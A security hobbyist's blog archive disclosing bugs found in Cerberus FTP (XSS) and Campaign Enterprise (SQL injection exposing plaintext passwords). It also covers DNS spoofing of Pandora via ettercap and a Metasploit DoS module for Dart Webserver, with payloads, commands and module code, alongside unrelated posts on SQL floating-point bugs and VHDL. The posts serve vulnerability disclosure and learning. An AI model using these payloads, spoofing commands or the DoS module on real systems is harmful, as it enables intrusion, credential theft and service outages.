Monday, December 17, 2012

Persistence is Key, Another Bug Hunt

Introduction:
There are few things I find more frustrating than looking for bugs and not finding a single one. I've seen and used buffer overflows and format string vulnerabilities in war games, I've even seen some of these bugs in real applications. Sometimes I choose a piece of software to assess and it's just rock solid.

But that's not a reason to stop.

I am specifically talking about Cerberus FTP Server which is, in my opinion, very well written - and it showed in that it provided me a great deal of difficulty in finding bugs through binary analysis like I have done in the past. I did get lucky enough to find a couple of bugs though, but only once I shifted my paradigm. One set is fairly trivial and the other is not as trivial and kind of hard to get to fire. This was all performed using Cerberus FTP Server v5.0.5.1.

Usually I'd discuss the whole process of my bug hunt, but in this case it was a long time to get so far. I started by seeking out printf/buffer overflow vulnerabilities, running some fuzzers and the like. All to no avail. An analysis of the binary showed a good indication of why:

This call to sprintf is of the "_s" variant. This means it is "security enhanced", as described here. I checked every single possibility for *printf and found very few potentially viable options. In part compilers now have warnings for these sorts of bugs, but also when the developer is aware of them too it's that much worse. Of the possibilities I did find I was later informed they exist in unused code sections which are presently unreachable. So whether or not they'll even be available is unknown much less vulnerable too, especially after mentioning them!

Moving Along:

Just to get into it, I gave up on the classics and moved to the modern world - web based attacks. This is an area of vast opportunity and means it's often fruitful. The bugs can slip in through many avenues, sometimes even shrouded under the guise of guessed safe practices.

Let's begin with the trivial bug. It is a Cross Site Scripting (XSS) scripting bug and it can be located in the "/servermanager" page of the web admin interface for Cerberus FTP Server. This interface is by default disabled. One enabled an administrative user may login at "http://localhost:10000/" Once the administrator is logged in they may find a link to the server manager page in the left menu. Or you may use "http://localhost:10000/servermanager"

It should look, something like this:
Select the "Messages" tab and you will be presented with the vulnerable page - though if the server has already been exploited, those should have already fired. The messages page looks like so:
Each of the message fields may be exploited trivially like so:
</textarea><script>alert('trivial xss');</script>

Click update to save the message, then reload the server manager page for the effect:

This as fun and all, but as one should note there is only 1 administrative user for the web interface and thus if this XSS bug is being leveraged - you probably have larger problems. None the less, this bug has been fixed and the latest version of Cerberus FTP has the corrections.

And a Little Harder:
Now for the more difficult bug. Having found a trivial XSS bug I now know that at least some fields may or may not be properly escaped. So the goal is to find other methods of interacting with the web interface that may not require authentication. Most of the options are available only to administrative users, and after exploring all the available options I finally decide to attempt to attack the "http://localhost:10000/log" page

First thing to note is the log is empty. Javascript is required for using the log page and it is on an 8 second update cycle. When log entries are shown you have approximately 2-3 seconds to review it before they are cleared. This plays a role in making this bug irritatingly difficult to fire. It should also be noted that the data transfer from the servers are in fact html encoded, hiding this bug from view in post-mortem analysis. No time like the present.

The log page is shown here, empty, waiting on it's 8 second cycle:
Normal usage will fill the log with events, but we're most curious about usage which does not require any form of authentication. To generate some "usage" traffic I write application in python (test.py):

import sys
import socket
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_address = ('192.168.0.200', 21)
sock.connect(server_address)
data = sock.recv(128)
print >>sys.stderr, '%s' % data
user = "USER testuser\r\n"
sock.sendall(user)
data = sock.recv(128)
print >>sys.stderr, '%s' % data
quit = "QUIT\r\n"
sock.sendall(quit)
sock.close()
Then I execute this from bash using a simple for loop, and I note that it returns the XSS banner we've already exploited.
for each in {1..100}
do
python test.py
done
We execute this loop and look for the results, sometimes I had to run the script multiple times to get it to show:
Obviously we have some control over what is shown in this log even though we have not authenticated in any way. The real question is, does this render in a way which might be dangerous. To test, we merely adjust our 'testuser' to be something more effective fun:

USER <div onmouseover="alert('xss');" />

And run the loop again, because we're using the onmouseover - we'll need to fire this by mousing over the areas where the divs will be. If it works it should be immediately apparent.

And a Cross Site scripting bug is discovered. As with the other one I am told this bug has been patched and is no longer an issue. Special thanks to Grant @ Cerberus FTP for the fixes and extremely timely support given, this has been the best company I've had the pleasure to deal with so far in regards to security related matters.

For reference these bugs were assigned CVE-2012-6339.

See you next time and until then, Hack Safe, Hack Legal, but most of all Hack Fun!

Thursday, October 18, 2012

My First Experiences Bug Hunting, Part 2

So in Part 1 I disclosed the specifics of CVE-2012-3819, and I ended with the concept of loading a debugger (OllyDbg in this case) in order to analyze the program while it crashes from the stack overflow exception. During this process it is easy to note that no control of the EIP register is obtained - and thus the bug is relegated to a generic DoS type bug.


As you can see the registers remain largely intact. EAX is a pointer on the stack (which is very low at the point of crashing, due to the stack consumption). So it is shown that the impact of this bug is likely very small. But since we have the debugger open anyway, we go ahead and do a search for strings. This is so we can see what else might be of interest just while we're in town.

To do this we first want to be analyzing the actual executable, in this case: "Campaign11.exe" which is the primary executable for Campaign Enterprise 11, my installation is a previous version (11.0.538). This software, of which I found another five vulnerabilities within, is used to send e-mails to large lists of individuals. It is an excellent marketing tool. Including the recent fixes for these bugs (version 11.0.551), I believe it will be that much better now. We click View in the menu and select "Executable Modules" which loads a list of the images presently mapped to memory. We then double click the entry which lists Campaign11.exe and this loads that module into the CPU window.

Right clicking in the instruction pane of the CPU window we choose "Search for -> All referenced text strings." This loads a list of things that look like strings in the Campaign11.exe application. This will provide us a great deal of insight into the inner-workings of the application. First I note at the top of this list are several tell-tale signs that it was programmed in Visual Basic. Including typical VB style nomenclature for control names, etc.

Knowing one of the key failures in many web based applications is SQL Injection (SQLi) I begin looking for SQL strings of interest. I right click in the list of strings and select "Search for text," running this command I seek out instances of "select * from" which is ubiquitous. I repeat this search, seeking things that look interesting. I find several entries that could be fun:
004C6143   PUSH Campaign.00426428                    UNICODE "select * from tblUsers where "UID"=" 
004C624D   PUSH Campaign.004264AC                    UNICODE "select * from tblUsers where UID="
There are many of these, but they all seem invaluable - they appear to be the first start of a string concatenation which may lead to SQL injection - and this is the sort of code you would associate with the login screen. I find all instances of "select * from tblUsers" and set break points on each. I use Ctrl+L to go to the next, then use F2 to speed the process of "red-pointing."

Then I try to login (plus a little SQL Injection since I'm expecting the possibility) to see if I won anything....


Damn. I see my SQLi is thwarted likely by a call to replace("'", "''"). Scrolling up some you can see this call does in fact happen. I see down in the current operands area that the string we're specifically dealing with is  "select * from tblUsers where username=". So back in the strings window I limit my breakpoints down to just the ones that have an instance of the string we landed on first. There are only two, and I notice something interesting nearby the second instance. A string "User-Edit.asp" - I try to load this URL "http://localhost:82/User-Edit.asp"

Bingo! I see a screen with *USERNAMEINPUT* as the username - I presume this is some sort of place holder. I combine this with the test for UID in the strings above and take a stab in the dark - I use UID as a Query String parameter and set it to 1. "http://localhost/User-Edit.asp?UID=1"

No dice, but I did land on a break point which may show me what's happening a bit. I step forward a little bit and wait for a string to appear in the top right pane of the CPU window - eventually it does, right around: 
005FD39A   . 8B85 60FFFFFF  MOV EAX,DWORD PTR SS:[EBP-A0]
The string is in EDX, and I see it's carrying my "UID=1". I wonder... what about SQLi here? I try it. "http://localhost:82/User-Edit.asp?UID=1%20OR%201=1"

I see my SQLi seems to be unhindered, so I let the program run through (F9).



I'm greeted with the user-edit page - and I have the admin user (the only user in my case). Reviewing the source of the page, I see it populates the username as well as the password boxes. In my example it appears random - but that's just the password I punched in. Its  in plaintext!

I go ahead and enumerate all of the available .asp pages and continue similar testing on these. Then I contact the vendor as well as cve-assign@mitre.com and these are what was assigned:
CVE-2012-3820: Multiple SQL Injection: activate.asp – SerialNumber field, User-Edit.asp – UID field 
CVE-2012-3821: Unauthorized access to the activate.asp page, allows modification of stored database field SerialNumber without authentication or authorization.
CVE-2012-3822: Unauthorized access to the User-Edit.asp page, allows attacker to enumerate users and their credentials by supplying their UID in the querystring. 
CVE-2012-3823: The product has stores passwords in clear text and these may be retrieved  using the User-Edit.asp page. 
CVE-2012-3824: Multiple pages accessible without authentication or authorization which may lead to the unintended disclosure of information or functionality but was not assessed. Register.asp, Group-Edit.asp, Subscriber-Edit.asp, SMTP-Edit.asp, Email-Edit.asp, Admin-GlobalConfig.asp, Admin-Users.asp, Campaign-Datasource.asp 
And that sums up my first experiences bug hunting.

See you next time and until then, Hack Safe, Hack Legal, but most of all Hack Fun!

Monday, September 24, 2012

Pandora Jacking

So Pandora.com is a very cool and very awesome website. It introduces me to all sorts of new music. Expanding my repertoire using the  heuristic capabilities of Pandora to determine what I like is very rewarding. Sometimes it gets it wrong, and corrections are recommended. But sometimes I like to skip to the chase. Sometimes I just want to listen to my music. And I know I could just pause Pandora and start up my media player... but this is a tech blog, gotta make it fancy.

So, enter the desire to inject my own music into the Pandora experience. At first this seems like a daunting task. There is a lot of traffic that flies across the wire when loading the Pandora browser. A lot of data to sift through to find the meaningful parts. I worry about file formats and structures and interfacing with flash etc. And then I calm my nerves (with whiskey) and begin logging some data. I setup chrome to pass all my web traffic through a web proxy, OWASP ZAP.

First off... holy crap, ads/ad tracking. I damn near died when I saw the list of resources that load when visiting pandora!


But it's not the time to get caught up in the overwhelming nature of ads. Sifting through all the requests, I identify the ones that look particularly pertinent. They kinda look like:
GET http://audio.*\.pandora\.com/access/?(.*)
This is a regular expression representation to simplify the otherwise very long requests. That is '.' represents any character and '*' the previous character repeating zero or more times. So '.*' means any number of any characters. The '\' acts as an escape which removes the special meaning of the character following, thus '\.' means a literal period.

The portion following the '?' seems to contain tokens and keys and etc. for pandora,  so I'm actually going to ignore this because it occurs to me - if done right the content server at pandora will never even receive this request! How you ask? Well it's simple really... Domain Naming System (DNS) Spoofing.

It's somewhat a sure fire bet that your machine does not already have the Internet Protocol (IP) address of the content server already stored. This means before you make the request to GET http://.... you're gonna have to connect to the server - you'll need the IP address to do this. That is, you'll need to make a DNS request - and this is where we'll hijack control to inject our own content.

By controlling the DNS requests we can control where the pandora client goes to get the music. Then we just server up a file of our choosing and hope it works. For simplicity I use a file delivered from pandora themselves to avoid issues with encryption, or formatting, etc.

So I open up etter.dns, add a line for:
audio*.pandora.com A 192.168.0.10
 The "192.168.0.10" is the IP address of my new content server. I start up ettercap with the dns_spoofing plugin started:
ettercap -T -M ARP /192.168.0.1/ /192.168.0.2/ -P dns_spoof
 Now, with luck, I should be in the middle of the gateway (192.168.0.1) and my pandora player (192.168.0.2), and redirecting the content requests to a local server (192.168.0.10) running on port 80. I chose to use apache, which is installed in Backtrack 5 by default. We just need to modify the file at:
/etc/apache2/sites-available/default
 We add an AliasMatch, which does regular expression and rewriting for access.
AliasMatch /access/(.*) /var/www/music.m4a
 This redirects all requests for /access/* to return the file "music.m4a".

For testing, I played Pandora normally but through ZAP and intercepted one of the /access/ requests on my "Classic Rock" station. Def Leppard - Pour Some Sugar on Me, I copied the Request-URI to the clipboard and pasted it into Chrome's URL bar. This downloads the file locally, which gives us an actual Pandora encoded  file to use. I 'save page as...' and save the file to /var/www/music.m4a.

Then I started up the web server and started a new pandora station, "Rick Astley." Obviously you can't hear it but this looks like this:

But, I hear Def Leppard - Pour Some Sugar on Me.

Replacing Rick Astley with Def Leppard... Hmm... I suppose it could be reversed too.

Pandora Jacking is successful!

Happy hacking, I'll bring something else cool soon I hope. Until then, Hack Legal, Hack Safe, but most of all Hack Fun!

Monday, September 17, 2012

SQL and finding a Floating Point Error

So we have some SQL which goes out and grabs some data. Then we use that data for processing. Pretty normal. But the fun part is, sometimes we reuse that data in the same SQL. No this is not about stored SQL Injection, it's really just about a dumb bug we ran into recently, but a reuse bug would be pretty fun too.

So we have a list of people, and we've compared this list of people to another list of people using the Levenshtein Algorithm. Then we store the results of that comparison in the database so some users can check it out later, a time/memory trade off which has actually been fairly useful (especially with the speed increases we've given it over the years).

Now when a user loads this list of comparisons, we track what the current "match_score" is. This is the decimal percentage difference between the two people's information. Weighted to our liking.  So our application gets the match_score:
SELECT TOP 1 * FROM People_Comparisons P WHERE ID = 13689385
Return: 13689385 |  0.214736842105263
From the perspective of the application, and the database, ID is effectively random. We sort the results of comparisons by the match_score then by the ID, so that when doing reviews we're looking at each ID (x) in the subset of records with the same match_score (y). But the point is, the ID is sorted only within each match_score across the domain of Y values. To get the next record we run a query with the currenct ID and and match_score, N(x,y), which uses the following SQL to return the next record of interest:
SELECT TOP 1 * FROM People_Comparisons P WHERE ID= 13689385 AND MATCH_SCORE > {0}
In the above {0} is replaced with the previously retrieved match_score, in this case the value:
0.214736842105263
Now some experienced database type individuals probably already see the problem. But to less experienced individuals, this can be quite the snake-bite. Because when we run the SQL we have a somewhat unexpected result:

SELECT TOP 1 * FROM People_Comparisons P WHERE ID= 13689385 AND MATCH_SCORE > 0.214736842105263
Return: 13689385 |  0.214736842105263
Obviously there is a mistake, we've used the same value  (0.21473...) and it seems impossible that this SQL should return the same row when we're expecting a row with a match_score greater than that value! Enter Floating-Point Precision.

The quick rundown of it is this: What the database reports is a truncated version of the raw stored value. We have 15 significant figures displayed, but the database is storing much more data than this. This truncation gives us a raw binary value which is different than that which is stored - and in this case, less than what is stored. Thus, the next greater match_score, after truncation/rounding, is the same match_score! To solve this I select the value of the match score into a SQL variable then us this value to maintain the full precision of the data type and reuse this variable for comparisons.

Friday, September 14, 2012

Writing My First Metasploit Module

So I decided I should learn how to use Metasploit. It seems to me, that this framework is the wave of the future, even though it's already in it's fourth revision with what I understand to have been several major rewrites. So I guess the future is already here and I'm just behind the curve!

For the uninitiated, Metasploit is a framework. This means it provides the tools necessary to achieve some common goals. You may have guessed it, the common goal is exploitation of vulnerabilities found in systems. Note: The Metasploit website mentions a Pro version and Community Edition, an Express version and the Metasploit Framework for developers. We'll use the Framework which is provided in BackTrack 5R3 already!

To just try this out go to the Backtrack website: http://www.backtrack-linux.org/

  1. Download it
  2. Burn it
  3. Boot it
  4. Continue

In my previous post I discuss the discovery of a very minor vulnerability. Having developed a simplistic exploit it in perl, it seemed the perfect opportunity to develop a Metasploit module for it as well. This would exercise a new programming language for myself (ruby) for which I have no prior experience. And facilitate the development of other future exploits in a rapid development environment through practice.

As discussed in the book Metasploit: The Penetration Tester's Guide, a reasonable technique for making your first module is, start from another module! So I chose to base mine off of the module found at:
/opt/metasploit/msf3/modules/auxiliary/dos/http/apache_mod_isapi.rb
I chose this module because my module will also be in the DoS for HTTP servers area. Since, it is a DoS for an HTTP server. It is also short, and simple, which means easy to modify.

The first bits to change are, the informative bits. I modified the Name, Description, Author, Version, References, and Disclosure Date to match the specifics of my vulnerability. But this is not necessary to the functionality. The next important piece was to register my options, since they don't match the apache_mod_isapi denial of service options. This is important to the functionality.

I kept the RHOST, which makes sense, and I only need one option for a Remote port (RPORT) - so I scoured through the framework with a little find + grep magic:
find ./ -exec grep -H "RPORT" {} \; | grep "Remote port"

And found
./auxiliary/crawler/msfcrawler.rb: OptInt.new('RPORT', [true, "Remote port", 80 ]),
Yep, copy that and throw it into the ruby script. Watching out to remove the comma at the end since it's the last option in my list. Next I stripped out most extraneous communications and just followed the general feel of the ruby script to build a request of "A" * size bytes, tack on my "\n\n" to the end, and send it!

This completes my module, and I save it to:
~/.msf4/auxiliary/dos/http/dart_request_dos.rb
Note:  if you save to /opt/metasploit/msf3/modules/auxiliary/dos/http/, and later perform an update, it will wipe out your module if it is not in the actual framework tree. So be wary of that shortcut! (yes it bit me)

Now when I load msfconsole, I have access to my module and it's as simple as:
use auxiliary/dos/http/dart_request_dos
set RHOST [target_ip]
set RPORT [target_port]
exploit
------------------------------SNIP-------------------------------------
require 'msf/core' class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Dos def initialize(info = {}) super(update_info(info, 'Description' => %q{ 'Name' => 'Dart Webserver <= 1.9.0 Stack Overflow', Dart Webserver from Dart Communications throws a stack overflow exception when processing large requests. } , 'Author' => [ 'catatonicprime' ], 'Version' => '$Revision: 15513 $', 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2012-3819' ], ], 'DisclosureDate' => '9/11/2012')) register_options([ Opt::RPORT(80), OptInt.new('SIZE', [ true, 'Estimated stack size to exhaust', '520000' ]) ]) end def run serverIP = datastore['RHOST'] if (datastore['RPORT'].to_i != 80) serverIP += ":" + datastore['RPORT'].to_s end size = datastore['SIZE'] print_status("Crashing the server ...") request = "A" * size + "\r\n\r\n" connect sock.put(request) disconnect end end

Wednesday, September 12, 2012

Implementing a DEPP interface on a Basys2, part 2

Previously, I described how to interface with a DEPP peripheral using the Adept SDK, and how to construct such a peripheral that will also interface with an adder. Here, I describe how to construct such an adder using Xilinx IP, and then how to connect everything together.

My first component is a DEPP peripheral, which is described in an earlier post.

Next, I want an 8-bit unsigned adder. Because I do not need to optimize for space on the FPGA, I'm going to instantiate a combinational adder. I do this by clicking the New Source button in ISE, then selecting IP (CORE Generator & Architecture Wizard). I give it a file name, in this case Adder8Bit, and click Next. I expanded the Math Functions folder, then Adders & Subtracters, and finally selected Adder Subtracter. I clicked Next again, then Finish.

The next screen allows you to configure the adder. I configured mine as shown here:

As previously described, I want an 8-bit unsigned adder, so I select unsigned for both input types, and 8 for the width of each input. I selected Add mode, with an output width of 8 (I'm ignoring the carry-out in this case). In order to create a combinational adder that doesn't depend on a clock signal, I selected Manual latency configuration with a latency of 0. As I selected options, the symbol on the left changed. When I was complete, I had only the two inputs and one output. When I had all of my options properly set, I clicked Generate, and let ISE crank away for a little while.

The core generator only creates a definition of something, not an instance. To actually make my components useful, I needed to create a single instance of my DEPP peripheral and a single instance of the adder. To do this, I created a new VHDL source file, then right-clicked on it and clicked "Set as Top Module." This tells ISE to that this is the module that interacts with the outside world (in this case, the pins on the FPGA package.

This project only utilizes the EPP pins on the FPGA, so the black-box entity description is fairly simple.

entity DeppAdder is
port(
--EPP Signals
EppAstb : in std_logic;
EppDstb : in  std_logic;
EppWr : in  std_logic;
EppWait : out  std_logic;
EppDB : inout std_logic_vector (7 downto 0)
);
end DeppAdder;

Within this entity, I need to create two components, and "wire them up" appropriately. To do this, I used a structural architecture.

architecture structural of DeppAdder is
component EppModule is
Port ( Astb : in  STD_LOGIC;
 Dstb : in   STD_LOGIC ;
 Wr : in   STD_LOGIC ;
 Wt : out   STD_LOGIC ;
 DataBus : inout  STD_LOGIC_VECTOR  (7 downto 0) ;
 Op1 : out std_logic_vector  (7 downto 0) ;
 Op2 : out  std_logic_vector (7 downto 0) ;
 Result : in  std_logic_vector (7 downto 0));
end component;
COMPONENT Adder8Bit
PORT (a : IN STD_LOGIC_VECTOR (7 downto 0);
b : IN  STD_LOGIC_VECTOR  (7 downto 0);
s : OUT  STD_LOGIC_VECTOR  (7 downto 0));
END COMPONENT;
signal Op1, Op2, Result : std_logic_vector  (7 downto 0);

The component declarations here just tell the compiler the inputs and outputs of the components I want to instantiate, not how they work. I still haven't instantiated any components, just the signals! To instantiate the components, I need to define the architecture.

begin
EppModule1 : EppModule port map (
Astb => EppAstb,
Dstb => EppDstb,
Wr => EppWr,
Wt => EppWait,
DataBus => EppDB,
Op1 => Op1,
Op2 => Op2,
Result => Result
);
Adder8Bit1 : Adder8Bit port map (
a => Op1,
b => Op2,
s => Result
);
end structural;

My top level entity instantiates two components, an EppModule named EppModule1 and an Adder8Bit named Adder8Bit1, and connect them using 3 intermediate signals, Op1, Op2, and Result. To test out my architecture, I ran the program described in my earlier post.

While adding two unsigned 8-bit values together is very mundane, this architecture can be expanded. For example, an audio file could be downloaded to the FPGA for post-processing, or a key could be stored, and then the FPGA could be used to perform cryptographic operations.


Implementing a DEPP interface on a Basys2, part 1

In a previous post, I discussed the use of Digilent's Adept SDK to move data between a PC and the Basys2 board. This requires instantiating an interface on the FPGA. Here, I will go through the interface one piece at a time. My code is based on Digilent's example code.

The Enhanced Parallel Port (EPP) interface consists of an 8-bit data bus and control signals. The data bus is bi-directional, and data flow is controlled by the host (in this case, the PC) using the write signal. When write is high, the host is reading from the data bus. The timing of data on the data bus is controlled using the astb (address strobe) and dstb (data strobe) signals. These signals are asserted by the host, and indicate that an address should be written or that data should be read/written respectively. The peripheral asserts a single signal, wait, which is used to indicate that the peripheral is ready to accept data or has data available. For more information on these signals, and the EPP interface, see the documentation available from Digilent.

In this case, I need a peripheral that can read two operands, and write a single result. The black-box description of this is:
entity EppModule is
    Port ( Astb : in  STD_LOGIC;
           Dstb : in   STD_LOGIC;
           Wr : in   STD_LOGIC;
           Wt : out   STD_LOGIC;
           DataBus : inout  STD_LOGIC_VECTOR (7 downto 0);
 Op1 : out std_logic_vector  (7 downto 0);
 Op2 : out std_logic_vector  (7 downto 0);
 Result : in std_logic_vector  (7 downto 0));
end EppModule;
Because only one 8-bit value can be sent across the data bus at a time, the address must be sent before data is read or written. Therefore, the peripheral needs a single signal to store the address value.

architecture Behavioral of EppModule is
signal addressReg : std_logic_vector  (7 downto 0);
The wait signal must be asserted after one of the strobe signals is asserted, or a timeout will happen. In my design, there are no constraints to when the device is ready to read or write data, so the wait signal should be asserted as soon as possible after every read or write strobe.
begin
-- Epp signals
   -- Port signals
   Wt <= '1' when Astb = '0' or Dstb = '0' else '0';
When the host wants the peripheral to write data to the data bus, the write signal is asserted. I only have a single result that will be read so there is no need to verify the address before writing to the data bus.
DataBus <= Result when (Wr = '1') else "ZZZZZZZZ";
Next, I define the behavior of the address register. This register will be written when a write strobe occurs.
  -- EPP Address register
  process (Astb)
    begin
      if rising_edge(Astb) then  -- Astb end edge
        if Wr = '0' then -- Epp Addr write cycle
     addressReg <= DataBus;  -- Update the address register
        end if;
      end if;
    end process;
The operand registers are similar, but in this case there are 2 registers, so the action to be taken depends on the contents of the address register.
  -- EPP Write registers register
  process (Dstb)
    begin
      if rising_edge(Dstb) then  -- Astb end edge
        if Wr = '0' then -- Epp Data write cycle
       if addressReg = "00000000" then
Op1 <= DataBus;
elsif addressReg = "00000001" then
Op2 <= DataBus;
end if;
        end if;
      end if;
    end process;

end Behavioral;
And that completes the description of my EppModule. The full file can be found for download here. My next write-up will describe how to combine this with an adder so that the whole thing works.